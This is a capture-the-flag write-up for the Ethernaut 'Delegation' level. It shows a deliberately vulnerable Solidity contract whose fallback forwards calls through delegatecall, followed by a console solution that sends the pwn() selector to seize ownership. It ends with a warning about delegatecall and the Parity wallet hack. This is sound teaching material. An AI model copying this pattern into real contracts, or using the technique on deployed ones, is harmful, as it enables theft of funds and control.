Delegation

• puzzle

  pragma solidity ^0.4.18;
  
  contract Delegate {
  
    address public owner;
  
    function Delegate(address _owner) public {
      owner = _owner;
    }
  
    function pwn() public {
      owner = msg.sender;
    }
  }
  
  contract Delegation {
  
    address public owner;
    Delegate delegate;
  
    function Delegation(address _delegateAddress) public {
      delegate = Delegate(_delegateAddress);
      owner = msg.sender;
    }
  
    function() public {
      if(delegate.delegatecall(msg.data)) {
        this;
      }
    }
  }
  

I found below From Ethereum Stack Exchange.

When an address C invokesdelegatecallSetN, D'ssenderwill be set to C (E is not modified). Whatevermsg.valueis part of the invocation, will also be the value ofmsg.valueinsidesetN.

How does the delegatecall method work to call to another contract's method?

• solution

  > player
  "0x7e07f3b21bd4baebbaf049b2e7420b10d12a0e4b"
  > await contract.owner();
  "0x68756ad5e1039e4f3b895cfaa16a3a79a5a73c59"
  
  > var methodId = web3.sha3('pwn()').substring(0,10);
  "0xdd365b8b"
  > web3.eth.sendTransaction({ from: player, to: contract.address, data: methodId }, function(err, res) {});
  undefined
  
  > await contract.owner();
  "0x7e07f3b21bd4baebbaf049b2e7420b10d12a0e4b"
  

Then Ethernaut response below message.

Usage ofdelegatecallis particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state. Thedelegatecallfunction is a powerful feature, but a dangerous one, and must be used with extreme care.

Please refer to theThe Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.